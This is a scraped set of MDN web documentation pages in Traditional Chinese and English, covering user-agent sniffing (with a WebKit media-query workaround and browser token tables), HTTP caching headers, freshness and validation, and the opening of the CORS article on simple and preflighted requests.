另請注意，`(max-width: 25em)`, `not all and (min-width: 25em)`, and `(max-width: 24.99em)`是不一樣的：`(max-width: 25em)` 會排除 `(max-width: 25em)`；而 `not all and (min-width: 25em)` 則包含了 `(max-width: 25em)`。`(max-width: 24.99em)` 是仆街版的 `not all and (min-width: 25em)`。不要用 `(max-width: 24.99em)`，因為在字型很大、或解析度很高時，版面*可能*會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 >=, <=, >, < 等運算符。因為 Javascript 可能把這些東西都混為一談，然後你的網站就會在某些尺寸下亂閃亂排。因此，徹底測試在不同寬高下，網站會怎麼改變，以確保佈局不出錯。

把用戶代理嗅探搞到最好
-----------

在探討所有能替代用戶代理嗅探的方法後，還是可能會有合理的理由，用到用戶代理嗅探。

其中一個例子，就是透過用戶代理嗅探，提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子，則是修復在沒有自動更新功能的瀏覽器上，所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。

Internet Explorer 在第九代以前，有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本，是個相當~~機車~~特殊的例外。我們可以輕易透過該瀏覽器的特定功能，檢測到相關訊息。

蘋果強迫所有瀏覽器使用 Webkit 核心，所以 Webkit 的情形更糟糕；用戶也無法在舊設備上，得到更新的瀏覽器。大多數錯誤都能找出來，但某些錯誤，需要花更多時間抓出來。在這種情況下，使用用戶代理嗅探來可能是更有益的。

```js
var UA = navigator.userAgent,
  isWebkit =
    /\b(iPad|iPhone|iPod)\b/.test(UA) &&
    /WebKit/.test(UA) &&
    !/Edge/.test(UA) &&
    !window.MSStream;

var mediaQueryUpdated = true,
  mqL = [];
function whenMediaChanges() {
  mediaQueryUpdated = true;
}

var listenToMediaQuery = isWebkit
  ? function (mQ, f) {
      if (/height|width/.test(mQ.media)) mqL.push([mQ, f]);
      mQ.addListener(f), mQ.addListener(whenMediaChanges);
    }
  : function () {};
var destroyMediaQuery = isWebkit
  ? function (mQ) {
      for (var i = 0, len = mqL.length | 0; i < len; i = (i + 1) | 0)
        if (mqL[i][0] === mQ) mqL.splice(i, 1);
      mQ.removeListener(whenMediaChanges);
    }
  : listenToMediaQuery;

var orientationChanged = false;
addEventListener(
  "orientationchange",
  function () {
    orientationChanged = true;
  },
  PASSIVE\_LISTENER\_OPTION,
);

addEventListener(
  "resize",
  setTimeout.bind(
    0,
    function () {
      if (orientationChanged && !mediaQueryUpdated)
        for (var i = 0, len = mqL.length | 0; i < len; i = (i + 1) | 0)
          mqL[i][1](mqL[i][0]);
      mediaQueryUpdated = orientationChanged = false;
    },
    0,
  ),
);
```

你想找到用戶代理的哪個資訊
-------------

因為用戶代理字串的差異處並沒有統一，這方面會頗為棘手。

### 瀏覽器名稱

當別人說要「偵測瀏覽器」的時候，他們通常要的是「偵測排版引擎」：你真的要偵測到用戶在使用 Firefox 抑或相對應的 SeaMonkey，或偵測到在使用 Chrome 抑或相對應的 Chromium 嗎？還是說只要偵測瀏覽器用的是 Gecko 或是 WebKit 排版引擎？如果你要的是後者，請直接看後面的章節。

雖然有 Internet Explorer 這個明顯的例外，多數瀏覽器通常會把瀏覽器名字與版本用成 *BrowserName/VersionNumber*（*瀏覽器名/版本名*）格式。然而，因為用戶代理不是只有瀏覽器名提供這種格式，你不能找到瀏覽器的名字，你只能檢查該名字是否為你要尋找的目標。也請注意瀏覽器還會「造假」：例如 Chrome 就會同時宣稱自己是 Chrome 與 Safari。因此，如果要找出 Safari 瀏覽器，你就要在找出 Safari 字串的同時，排除掉 Chrome 字串。此外，Chromium 也常常宣稱自己是 Chrome、而 Seamonkey 有時也會宣稱自己是 Firefox。

另請注意，不要針對 BrowserName 使用簡單的正規表達式，因為用戶代理可能有不是 Keyword/Value 的字串。例如 Safari 與 Chrome 在字串內就包含了 like Gecko（類似 Gecko）。

|  | 必定包含 | 必定不包含 | 註解 |
| --- | --- | --- | --- |
| Firefox | Firefox/xyz | Seamonkey/xyz |  |
| Seamonkey | Seamonkey/xyz |  |  |
| Chrome | Chrome/xyz | Chromium/xyz |  |
| Chromium | Chromium/xyz |  |  |
| Safari | Safari/xyz | Chrome/xyz or Chromium/xyz | Safari 給出了兩個版本號、一個是偏技術性的 Safari/xyz token，另一個則是偏向用戶友好的 Version/xyz token |
| Opera | OPR/xyz [1]Opera/xyz [2] |  | [1] Opera 15+ (Blink-based engine)[2] Opera 12- (Presto-based engine) |
| Internet Explorer | ; MSIE xyz; |  | Internet Explorer 並不使用 *BrowserName/VersionNumber* 格式 |

當然這裡不保證沒有其他瀏覽器，騎劫其他瀏覽器的可能，例如過去的 Chrome 就騎劫過 Safari。這也是為什麼透過用戶代理字串來探測瀏覽器是靠不住的，它也只能用在探測版本號（不太可能有騎劫過去版本號的情形）。

### 瀏覽器版本

瀏覽器版本通常，但不是每次，都把數值放在用戶代理字串的 *BrowserName/VersionNumber* token。把版本號放在 MSIE 之後的 Internet Explorer、還有加了 Version/*VersionNumber* token 的第十代以後 Opera 版本就是明顯的例子。

再次強調，因為無法確保尋找的瀏覽器會包含有效的數字，請確認你針對的瀏覽器，選取了正確的 token。

### 排版引擎

如同前述，多數情況下，找尋排版引擎（rendering engine）更為恰當。這能讓少有人知的瀏覽器，不致遭到排除在外。使用某一種排版引擎的瀏覽器，共享相同的網頁瀏覽：這種「一處有效、處處有效」的假設，是很公平的。

目前有五大主流的排版引擎：Trident, Gecko, Presto, Blink 與 WebKit。因為排版引擎嗅探頗為常見，許多用戶代理也會加入其他的排版引擎，以觸發探測。所以在偵測排版引擎的時候，當心別錯誤觸發。

|  | 絕對有 |  |
| --- | --- | --- |
| Gecko | Gecko/xyz |  |
| WebKit | AppleWebKit/xyz | 請注意 WebKit 瀏覽器會加上「like Gecko」字串。如果探測不加留意，就會錯誤觸發針對 Gecko 的情形。 |
| Presto | Opera/xyz | \*\*注意：\*\*Presto 在 Opera15 以後不再使用（請參見 Blink） |
| Trident | Trident/xyz | Internet Explorer 把這個 token 放在 User Agent String 的 *comment*（註解）部份 |
| EdgeHTML | Edge/xyz | The non-Chromium Edge puts its engine version after the *Edge/* token, not the application version. **Note:** EdgeHTML is no longer used in Edge browser builds >= version 79 (see 'Blink'). |
| Blink | Chrome/xyz |  |

排版引擎版本
------

除了 Gecko 這個著名的例外，多數排版引擎版本的 token 通常會是 *RenderingEngine/VersionNumber*（排版引擎/版本號）。Gecko 把版本號放在用戶代理內，位於 `rv:` 字串後的註解部份。但在 Gecko 14（攜帶版）或 Gecko 17（桌面版）以後，版本號也出現在 Gecko/version token 裡面（之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail）。

作業系統
----

大多數的用戶代理都會表明自己固定字符串在個作業系統上運行（儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做），不過格式的差異卻頗大。它是個固定字串，位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作（32 位元或 64 位元、抑或 Mac 的 Intel/PPC）。

如同其他個案，這些字串可能在未來會有所變動，只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後，也要進行技術研究，以確保程式能夠適應。

### 手機、平板、桌機

最常實行用戶代理嗅探的理由，是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。

* 絕對不要假設某個瀏覽器或排版引擎，只在某種類型的設備執行。更不要對不同的瀏覽器或排版引擎，給予不同的預設值。
* 也絕對不要用 OS token 來定義該瀏覽器在手機、平板、抑或桌機上執行。作業系統可能在不只一種設備運作。例如，Android 可以在手機、也可以在平板上運作。

以下表格概括了主要的瀏覽器製造者，如何表明它們的瀏覽器在手機上運作：

| 瀏覽器 | 規則 | 示例 |
| --- | --- | --- |
| Mozilla (Gecko, Firefox) | 註解內的 **Mobile** 或 **Tablet** token | Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0 |
| WebKit-based (Android, Safari) | 註解外的 **Mobile Safari** token | Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 |
| Blink-based (Chromium, Google Chrome, Opera 15+) | 註解外的 **Mobile Safari** token | Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047 |
| Presto-based (Opera 12-) | 註解內的 **Opera Mobi/xyz** token (Opera 12-) | Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50 |
| Internet Explorer | 註解內的 **IEMobile/xyz** | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) |

總之，我們建議藉著找出用戶代理的「Mobi」字串，來偵測行動設備。

**備註：** 如果設備尺寸夠大的話，它就不會標示「Mobi」。針對這種情形，你應該提供桌面版網站。另外，因為最近桌面設備的觸控螢幕越來越多，為了提供最佳習慣，網站應該支援觸控輸入。


HTTP caching - HTTP

HTTP caching
============

藉由重複使用先前取過的資源，網站與網頁應用程式能夠顯著地提升效能。caching 可以減少網路傳輸量以降低一個資源可展示的延遲時間。善用 HTTP caching 可以讓網站可以回應更多請求。

不同種類的快取
-------

快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆，快取伺服器會攔截此請求訊息，回覆給請求者存在快取上的檔案，而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求，減輕機器運作的負擔。且由於傳輸起點距離更接近請求端，能讓整體請求的過程效能更加，整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講，快取一個很重要的一塊。另一方面來講，快取的請求、回復、儲存機制必須設定好，別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取，而不是一直存放著。

快取有好幾種，但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取，但是快取還有像是閘道器快取、CDN 快取、反向代理伺服器快取 、負載平衡器快取，它們都是部屬在網頁伺服器那邊，讓網站和網頁應用程式更加穩定，效能更好，且有更好的擴增姓。

![Type of Cache](/zh-TW/docs/Web/HTTP/Caching/type-of-cache.png)

### 瀏覽器私有的快取

私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過 HTTP 協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等，讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。

### 代理伺服器的共用快取

一個共用的快取伺服器，是指快取存放者能讓多位使用者請求的檔案副本。舉例來說，ISP 或者你的公司內部網路可能會設置代理伺服器，用來服務每個使用者，讓一些較常用的檔案可以重複使用多次，減少網路交通的流量。

Targets of caching operations
-----------------------------

HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to `GET` and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are:

* Successful results of a retrieval request: a `200` (OK) response to a `GET` request containing a resource like HTML documents, images or files.
* Permanent redirects: a `301` (Moved Permanently) response.
* Error responses: a `404` (Not Found) result page.
* Incomplete results: a `206` (Partial Content) response.
* Responses other than `GET` if something suitable for use as a cache key is defined.

A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the `Vary` (en-US) header below.

控制快取
----

### `Cache-control` 檔頭

`Cache-Control` 是 HTTP/1.1 用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令，來定義你的快取機制。

#### 不要存任何快取

快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。
```

Cache-Control: no-store
```

#### 快取需存取，但是要重新驗證

快取伺服器在把已儲存的複製版本傳給請求者之前，先會送一個請求給網頁伺服器做驗證。
```

Cache-Control: no-cache
```

#### 私有或共用的快取

共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處，假如頁面有不容易快取成功的 HTTP 驗證的訊息或者回覆狀態碼，現在應該很容易被存取了。

相對的，私有(Private)的指令指示快取只給一個使用者使用，且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。
```

Cache-Control: private
Cache-Control: public
```

#### 有效期限

在這裡最重要的指令就是"`max-age=<seconds>`" ，意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟`Expires` (en-US)不太一樣，這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案，你可以積極地使用此機制。這些檔案包含了，圖檔、CSS、Javascripts 檔案等等。

想要了解更多的話，請參見下面的Freshness。
```

Cache-Control: max-age=31536000
```

#### 驗證

當使用"`must-revalidate`"指令時，快取伺服器一定要先發送請求訊息給網頁伺服器驗證，請已經確認是過有效期限且檔案有更新的回覆的話，舊的檔案就不能使用。假如想了解更多，請參見下面的Validation。
```

Cache-Control: must-revalidate
```

### `Pragma`檔頭欄位

`Pragma` (en-US) 是 HTTP/1.0 的檔頭欄位，此檔頭欄位沒有特別指是 HTTP 回覆怎麼處理，所以用此來取代 HTTP/1.1 `Cache-Control`通用檔頭欄位並不是很穩定。假如`Cache-Control` 檔頭欄位在傳送請求訊息時被省略掉了，此檔頭欄位運作的結果跟 `Cache-Control: no-cache`一樣`。此Pragma`欄位只能跟 HTTP/1.0 的請求者使用。

Freshness
---------

Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called *cache eviction*. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is *fresh*; after the expiration time, the resource is *stale*. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a `If-None-Match` (en-US) to check if it is in fact still fresh. If so, the server returns a `304` (en-US) (Not Modified) header without sending the body of the requested resource, saving some bandwidth.

Here is an example of this process with a shared cache proxy:

![Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.](/zh-TW/docs/Web/HTTP/Caching/http_staleness.png)

The freshness lifetime is calculated based on several headers. If a "`Cache-Control: max-age=N`" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an `Expires` (en-US) header is present. If an `Expires` header exists, then its value minus the value of the `Date` header determines the freshness lifetime.

### Heuristic freshness checking

If an origin server does not explicitly specify freshness (e.g. using `Cache-Control` or `Expires` (en-US) header) then a heuristic approach may be used.

In this case look for a `Last-Modified` (en-US) header. If this header is present, then the cache's freshness lifetime is equal to the value of the `Date` header minus the value of the `Last-modified` header divided by 10. The expiration time is computed as follows:
```

expirationTime = responseTime + freshnessLifetime - currentAge
```

where `responseTime` is the time at which the response was received according to the browser. For more information see RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness.

### Revved resources

The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.

Web developers invented a technique that Steve Souders called *revving*[1]. Infrequently updated files are named in a specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that *never* changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.

This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.

![How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618](/zh-TW/docs/Web/HTTP/Caching/http_revved_fix_typo.png)

The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.

Cache validation
----------------

When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a *strong validator* or a *weak validator*.

Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "`Cache-Control: must-revalidate`" header. Another factor is the cache validation preferences in the `Advanced->Cache` preferences panel. There is an option to force a validation each time a document is loaded.

### ETags

The `ETag` response header is an *opaque-to-the-useragent* value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the `ETag` header was part of the response for a resource, the client can issue an `If-None-Match` (en-US) in the header of future requests – in order to validate the cached resource.

### Last-Modified

The `Last-Modified` (en-US) response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the `Last-Modified` header is present in a response, then the client can issue an `If-Modified-Since` (en-US) request header to validate the cached document.

When a validation request is made, the server can either ignore the validation request and respond with a normal `200` `OK`, or it can return `304` (en-US) `Not Modified` (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.

Varying responses
-----------------

The `Vary` (en-US) HTTP response header determines how to match future request headers to decide whether a cached response can be used, or if a fresh one must be requested from the origin server.

When a cache receives a request that has a `Vary` header field, it must not use a cached response by default unless all header fields specified in the `Vary` header match in both the original (cached) request and the new request.

![The Vary header leads cache to use more HTTP headers as key for the cache.](/zh-TW/docs/Web/HTTP/Caching/http_vary.png)This feature is commonly used to allow a resource to be cached in uncompressed and (various) compressed forms, and served appropriately to user agents based on the encodings that they support. For example, a server can set `Vary: Accept-Encoding` to ensure that a separate version of a resource is cached for all requests that specify support for a particular set of encodings, e.g. `Accept-Encoding: gzip,deflate,sdch`.
```

Vary: Accept-Encoding
```

**備註：** Use `Vary` with care—it can easily reduce the effectiveness of caching! A caching server should use normalization to reduce duplicated cache entries and unnecessary requests to the origin server. This is particularly true when using `Vary` with headers and header values that can have many values.

The `Vary` header can also be useful for serving different content to desktop and mobile users, or to allow search engines to discover the mobile version of a page (and perhaps also tell them that no Cloaking is intended). This is usually achieved with the `Vary: User-Agent` header, and works because the `User-Agent` header value is different for mobile and desktop clients.
```

Vary: User-Agent
```

### Normalization

As discussed above, caching servers will by default match future requests *only* to requests with *exactly* the same headers and header values. That means a request will be made to the origin and a new cache will be created for every slight variant that might be specified by different user-agents.

For example, by default all of the following result in a separate request to the origin and a separate cache entry: `Accept-Encoding: gzip,deflate,sdch`, `Accept-Encoding: gzip,deflate`, `Accept-Encoding: gzip`. This is true even though the origin server will probably respond with — and store — the same resource for all requests (a gzip)!

To avoid unnecessary requests and duplicated cache entries, caching servers should use **normalization** to pre-process the request and cache only files that are needed. For example, in the case of `Accept-Encoding` you could check for `gzip` and other compression types in the header before doing further processing, and otherwise unset the header. In "pseudo code" this might look like:
```

// Normalize Accept-Encoding
if (req.http.Accept-Encoding) {
  if (req.http.Accept-Encoding ~ "gzip") {
    set req.http.Accept-Encoding = "gzip";
  }
  // elsif other encoding types to check
else {
  unset req.http.Accept-Encoding;
  }
}
```

`User-Agent` has even more variation than `Accept-Encoding`. So if using `Vary: User-Agent` for caching mobile/desktop variants of files you'd similarly check for the presence of `"mobile"` and `"desktop"` in the request `User-Agent` header, and then clear it.

See also
--------

* RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching
* Caching Tutorial – Mark Nottingham
* HTTP caching – Ilya Grigorik
* RedBot, a tool to check your cache-related HTTP headers.


跨來源資源共用（CORS） - HTTP

跨來源資源共用（CORS）
=============

跨來源資源共用（Cross-Origin Resource Sharing (CORS)）是一種使用額外 HTTP 標頭令目前瀏覽網站的使用者代理 (en-US)取得存取其他來源（網域）伺服器特定資源權限的機制。當使用者代理請求一個不是目前文件來源——例如來自於不同網域（domain）、通訊協定（protocol）或通訊埠（port）的資源時，會建立一個**跨來源 HTTP 請求（cross-origin HTTP request）**。

舉個跨來源請求的例子：`http://domain-a.com` HTML 頁面裡面一個 `<img>` 標籤的 `src` 屬性 (en-US)載入來自 `http://domain-b.com/image.jpg` 的圖片。現今網路上許多頁面所載入的資源，如 CSS 樣式表、圖片影像、以及指令碼（script）都來自與所在位置分離的網域，如內容傳遞網路（content delivery networks, CDN）。

基於安全性考量，程式碼所發出的跨來源 HTTP 請求會受到限制。例如，`XMLHttpRequest` 及 `Fetch` 都遵守同源政策（same-origin policy）。這代表網路應用程式所使用的 API 除非使用 CORS 標頭，否則只能請求與應用程式相同網域的 HTTP 資源。

![](/zh-TW/docs/Web/HTTP/CORS/cors_principle.png)

跨來源資源共用（Cross-Origin Resource Sharing，簡稱 CORS）機制提供了網頁伺服器跨網域的存取控制，增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器（如 `XMLHttpRequest` 或 `Fetch`）中使用 CORS 以降低跨來源 HTTP 請求的風險。

誰應該閱讀這篇文章？
----------

認真講，所有人。

進一步來說，本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件，包括標頭和政策施定。關於伺服器部分請參閱跨來源共用：從伺服器觀點出發（以 PHP 為範例）的補充說明。

哪些請求會使用 CORS？
-------------

跨來源資源共用標準可用來開啟以下跨站 HTTP 請求：

* 使用 `XMLHttpRequest` 或 `Fetch API` 進行跨站請求，如前所述。
* 網頁字體（跨網域 CSS 的 `@font-face` 的字體用途），所以伺服器可以佈署 TrueType 字體，並限制只讓信任的網站跨站載入。
* WebGL 紋理 (en-US)。
* 以 `drawImage` (en-US) 繪製到 Canvas 畫布上的圖形／影片之影格。
* CSS 樣式表（讓 CSSOM (en-US) 存取）。
* 指令碼（for unmuted exceptions）。

本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。

功能總覽
----

跨來源資源共用標準的運作方式是藉由加入新的 HTTP 標頭 (en-US)讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外，針對會造成副作用的 HTTP 請求方法（特別是 `GET` 以外的 HTTP 方法，或搭配某些 MIME types (en-US) 的 `POST` (en-US) 方法），規範要求瀏覽器必須要請求傳送「預檢（preflight）」請求，以 HTTP 的 `OPTIONS` (en-US) 方法之請求從伺服器取得其支援的方法。當伺服器許可後，再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料（包括 Cookies 和 HTTP 認證（Authentication）資料）一併隨請求送出。

之後的小節，我們將討論使用情境和相關的 HTTP 標頭。

存取控制情境範例
--------

我們將在此展示三種情境，來說明跨來源資源共用如何運作。所有的範例都使用 `XMLHttpRequest` 物件，`XMLHttpRequest` 可以讓任何支援的瀏覽器進行跨站請求。

本節的 JavaScript 程式碼片段（以及處理跨站請求的伺服器端程式運作實體）可以在 http://arunranga.com/examples/access-control/ 看到，並可以運行在支援跨站 `XMLHttpRequest` 請求的瀏覽器上。

對於伺服器端的跨來源資源共用討論（包含 PHP 範例）可參考伺服器端存取控制。

### 簡單請求

部分請求不會觸發 CORS 預檢。這類請求在本文中被稱作「簡單請求（simple requests）」，雖然 Fetch 規範（其定義了 CORS）中並不使用這個述語。一個不觸發 CORS 預檢的請求——所謂的「簡單請求（simple requests）」——其滿足以下所有條件：

* 僅允許下列 HTTP 方法：
    + `GET`
    + `HEAD` (en-US)
    + `POST` (en-US)
* 除了 user agent 自動設定的標頭（例如 `Connection`、`User-Agent`，或是任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」中的標頭）之外，僅可手動設定這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」的標頭，它們為：
    + `Accept`
    + `Accept-Language` (en-US)
    + `Content-Language` (en-US)
    + `Content-Type`（但請注意下方的額外要求）
    + `Last-Event-ID`
    + `DPR`
    + `Save-Data`
    + `Viewport-Width`
    + `Width`
* 僅允許以下 `Content-Type` 標頭值：
    + `application/x-www-form-urlencoded`
    + `multipart/form-data`
    + `text/plain`
* 沒有事件監聽器被註冊到任何用來發出請求的 `XMLHttpRequestUpload` (en-US) 物件（經由 `XMLHttpRequest.upload` (en-US) 屬性取得）上。
* 請求中沒有 `ReadableStream` (en-US) 物件被用於上傳。

**備註：** 雖然這些都是網頁目前已經可以送出的跨站請求，但除非伺服器回傳適當標頭，否則不會有資料回傳，因此不允許跨站請求的網站無須擔心會受到新的 HTTP 存取控制影響。

**備註：** WebKit Nightly 與 Safari Technology Preview 對 `Accept`、`Accept-Language` (en-US) 及 `Content-Language` (en-US) 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 就不會將該請求視為「簡單請求」。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language、Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS 和 Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。

例如，假設 `http://foo.example` 網域上的網頁內容想要呼叫 `http://bar.other` 網域內的內容，以下程式碼可能會在 foo.example 上執行：

```js
var invocation = new XMLHttpRequest();
var url = "http://bar.other/resources/public-data/";

function callOtherDomain() {
  if (invocation) {
    invocation.open("GET", url, true);
    invocation.onreadystatechange = handler;
    invocation.send();
  }
}
```

這將會在客戶端與伺服器端之間發起一個簡單的資料交換，並使用 CORS 相關標頭來處理權限：

![](/zh-TW/docs/Web/HTTP/CORS/simple-req.png)

我們來看看這個例子中瀏覽器將會送出什麼到伺服器，而伺服器又會如何回應：
```

GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
Origin: http://foo.example

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2.0.61
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[XML Data]
```

第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 `Origin` (en-US) 標頭，它標示出請求是來自 `http://foo.example` 網域上的內容。

第 13 - 22 行是 `http://bar.other` 網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 `Access-Control-Allow-Origin` (en-US) 標頭，從 `Origin` (en-US) 標頭與 `Access-Control-Allow-Origin` (en-US) 標頭中可以看到存取控制協定最簡單的用途。這個例子中，伺服器回傳 `Access-Control-Allow-Origin: *` 表示允許**任何**網域跨站存取資源，倘若 `http://bar.other` 的資源擁有者只准許來自 `http://foo.example` 的存取資源請求，那麼將會回傳：
```

Access-Control-Allow-Origin: http://foo.example
```

如此一來，來源並非 `http://foo.example` 網域（由第 10 行請求標頭中的 ORIGIN 標頭確認）便無法以跨站的方式存取資源。`Access-Control-Allow-Origin` 標頭必須包含請求當中的 `Origin` 標頭值。

### 預檢請求

不同於上面討論「簡單請求」的例子，「預檢（preflighted）」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域，確認後續實際（actual）請求是否可安全送出，由於跨站請求可能會攜帶使用者資料，所以要先進行預檢請求。

準確來說，如果滿足以下**任一項條件**時會發出預檢請求：

* **假如**請求方法為以下其中之一：
    + `PUT` (en-US)
    + `DELETE` (en-US)
    + `CONNECT`
    + `OPTIONS` (en-US)
    + `TRACE` (en-US)
    + `PATCH` (en-US)
* **或是假如**除了 user agent 自動設定的標頭（例如 `Connection`、`User-Agent`，或是任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」中的標頭）之外，請求中包含了任何除了這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」以外的標頭，具體如下：
    + `Accept`
    + `Accept-Language` (en-US)
    + `Content-Language` (en-US)
    + `Content-Type`（但請注意下方的額外要求）
    + `Last-Event-ID`
    + `DPR`
    + `Save-Data`
    + `Viewport-Width`
    + `Width`
* **或是假如** `Content-Type` 標頭有除了下方所列出以外的值：
    + `application/x-www-form-urlencoded`
    + `multipart/form-data`
    + `text/plain`
* **或是假如**一或多個事件監聽器被註冊到一個用來發出請求的 `XMLHttpRequestUpload` (en-US) 物件上。
* **或是假如**請求中有一個 `ReadableStream` (en-US) 物件被於上傳。

